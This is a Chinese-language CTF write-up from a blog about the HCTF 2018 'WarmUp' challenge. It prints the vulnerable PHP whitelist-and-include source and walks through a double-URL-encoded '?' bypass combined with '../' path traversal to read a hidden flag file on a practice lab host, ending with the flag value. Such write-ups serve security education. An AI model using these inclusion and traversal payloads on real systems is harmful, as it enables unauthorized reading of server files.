[HCTF 2018]WarmUp WriteUp（超级详细）

原创

StevenOnesir 于 2020-11-21 18:12:06 发布 806 收藏 8

分类专栏： ctf

本文链接：https://blog.csdn.net/StevenOnesir/article/details/109862380

从今天开始更新一些网络安全的基础文章与知识，希望能够从中复习与进步。

WarmUp 这道题主要考察PhP代码审计。

```php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
```

很明显emmm的类名命名的相当随意，一进来就是一个checkFile函数，在类的外面有程序的主逻辑语句，分别做了三个检测。

```php
if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
```

首先检测一个提交的参数变量file，要求非空。
需要注意REQUEST函数、GET函数与POST函数的区别，REQUEST函数可以同时接受get与post方法提交的变量。
另外检测file是不是string并把file的值传入checkFile()。
这里做一个小补充，可以留心php调用类函数的方式。

```
emmm::checkFile($_REQUEST['file']
```

我们可以先直接留心最后的if/else逻辑，为了不看到最后那张无语的图片，我们需要让第一个if语句成立，并且最关键在第三个函数上。
同时我们需要注意include文件读取函数是直接读取file，从hint.php中我们知道flag在ffffllllaaaagggg中，所以这个字符串要想办法加入到file中进行读取。
关键就在这里：

```
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
```

我们研究PhP的代码可以从内向外看：
`$page . '?'`
在PhP中，str1+.+str2即可将两个变量直接连接起来。
mb_strpos函数的作用：
一共有两个参数，该函数的返回值是第二个参数在第一个参数中首次出现的位置（index）。
例如:

```
echo mb_strpos('?aall?aa','aa');
```

打印出来的是： 1
所以这里先在file末尾添加一个?,再返回?所在的位置，故正常情况下这里将返回len($file)-1。
现在再回到最外层的ma_substr函数，该函数有三个对应参数，第一个参数是操作字符串，第二个参数是操作起始位置，第三个参数是操作字符长度。
所以此时对于正常的file值，会截取其本身长度，不会产生影响。
但是这个时候如果我们在file内容中加入?，就能实现截断的效果，这个时候page将会验证?前方的str是否包含在array中，因此就能实现checkFile函数的绕过。
同时我们注意到：

```
$_page = urldecode($page);
```

这里竟然再次做了urldecode的解码，因此我们可以考虑将?做两次urlencode，这样得到的%253f会在第二次decode后于最后一个in_array验证被截断并返回true。
构造payload：

```
http://c6af07a9-90e0-43be-b368-17a764940e0b.node3.buuoj.cn/source.php?file=hint.php%253f{something}
```

这个时候一定能过checkFile函数。
但是我们的include文件读取函数却是直接将file进行了读取，这个时候file的内容是无效的，因此什么东西也读不出来。
我们通过hint.php可以知道，flag隐藏在ffffllllaaaagggg中。
所以现在我们的目标是通过拼接的方式构造出读取flag的绕过姿势。
url里面我们比较常见的是#绕过，即#后面的内容不会被读取执行。
但是我们究竟该怎么样让前面的hint.php%253f不被放到include中影响我们flag的正常读取呢？
我们知道如果直接放入hint.php%253ffffllllaaaaggg会通过checkFile的验证返回true，但是毫无疑问这种错误的文件名是无法被include正确读取的。
这个时候我们就要用到一个关键符号：/
例如：include ‘wrongname/flag.txt’
wrongname无法被正确读取，这个时候/后面的flag.txt就会被include函数读取并解析。
因此我们可以构建payload：

```
http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/ffffllllaaaagggg
```

但是还是无法正确读取，为什么呢？
我们其实已经可以从flag的文件名猜出一些真相了。
我们需要将目录回退四次，就像这美妙的名字一样。
因此构建新的payload：

```
http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
```

成功得到flag回显：

```
flag{c6155a76-f9d9-4edb-b1fc-b7b831ae8626}
```

总结：
这道题用到的知识点有：
基础php代码审计，考察三个函数：
in_array、mb_substr、mbstrpos
考察include的一个小特性

难度： 简单